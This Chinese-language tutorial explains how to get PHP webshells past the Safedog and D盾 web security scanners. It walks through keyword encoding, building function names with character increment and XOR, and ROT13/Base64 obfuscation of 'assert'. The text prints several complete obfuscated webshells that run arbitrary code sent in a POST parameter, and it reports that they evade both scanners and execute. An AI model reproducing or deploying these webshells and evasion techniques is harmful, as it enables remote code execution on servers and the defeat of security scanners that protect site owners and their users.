安装安全狗
安装安全狗无服务名解决办法: 与phpstudy的版本无关,
- 停止Apache服务
- 打开cmd命令窗口进入到Apache的bin目录
cd /d C:\phpStudy\PHPTutorial\Apache\bin
- 安装Apache服务,命令如下
httpd.exe -k install -n apache2.4
- 当出现“service is successfully installed”就代表服务安装成功
Apache的服务名就为apache2.4
一 、测试Webshell
- 准备以下三个文件
- 使用安全狗对这三个文件进行扫描
可以看出这里只对a.php进行了报毒,并没有对后面两个文件进行报毒 原因:webshell是由执行命令的函数以及传递外来的参数组成,每个webshell都需要满足以上两点,所以我们就可以变化这两处来进行绕过。
二、绕过方法
0x01 关键字变形
-
未变形的webshell -
将assert()函数进行八进制与十六进制处理 -
扫描结果显示依旧被检测出assert函数,但是这是一种方法,可以值得一试
0x02 算术运算
通过自增、异或和取反等方法来获得我们想要的字母,再组合成函数,动态调用即可
- 自增得字符
通过自定义a,可以根据自增得到自己想要的字符,然后进行组合,注意这里不能进行自减 也可以自定义一个大写字母,通过自增得到想要的字符 - 异或得字符
在php中,两个字符串异或的结果还是字符串,所以我们可以通过字符串的异或得到我们想要的字符。(这把能想到的字符全部扔进去)
<?php
$a=array("|","!","@","#","%","^","&","*","(",")","-","=","_","+","<",">","?",".","{","}","[","]","~","`","/");
$alength=count($a);
for($x=0;$x<$alength;$x++){
for($b=0;$b<$alength;$b++){
echo "the result is ".($a[$x]^$a[$b])." the str is ".$a[$x].$a[$b]."\n";
}
}
?>
- 通过以上的自增与异或可以写以下代码
<?php
$_=('!'^'@');
$__=$_;
$_++;
$_++;
$_++;
$_++;
$___=$_;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$____=$_;
$_++;
$_____=$_;
$_++;
$__=$__.$_____.$_____.$___.$____.$_;
$______=('?'^'`').('+'^'{').('`'^'/').('('^'{').('('^'|');
@$__(${$______}[$_]);
?>
-
将代码传到网站目录下并用安全狗检测 可以发现g.php成功绕过安全狗检测 -
访问并执行成功
0x03 编码加拼接
通过base64编码及ROT13
- 字符
assert 经ROT13与Base64编码后变为bmZmcmVn - 编码后的木马
<?php
function enc($hello){
$b="bmZmcmVn";
$d=str_rot13(base64_decode($b));
@$d($hello);
}
enc($_POST['code']);
?>
- Safedog检测出assert变量函数
- 代码执行成功
- 使用D盾对这几个文件进行扫描,可以看到算术运算绕过与编码绕过的危害等级都为第三等级
0x04 算术运算与编码拼接结合绕过
- 结合前面的算术运算脚本及编码拼接进行编写脚本
<?php
function enc($hello){
$_=('!'^'@');//$_=a
$_++;//b
$__=$_;//$__=b
$_++;//c
$___=$_;//$___=c
$_++;//d
$_++;//e
$_++;//f
$_++;//g
$_++;//h
$_++;//i
$_++;//j
$_++;//k
$_++;//l
$_++;//m
$____=$_;//$____=m
$_++;//n
$_____=$_;//$_____=n
$_=$__.$____.(':'^'`').$____.$___.$____.('~'^'(').$_____;//$_=bmZmcmVn
$b=$_;
$d=str_rot13(base64_decode($b));
@$d($hello);
}
enc($_POST['code']);
?>
- 使用Safedog进行扫描,发现完全绕过,还是可以的
使用D盾进行扫描,并且也是成功绕过 3. 成功运行代码
|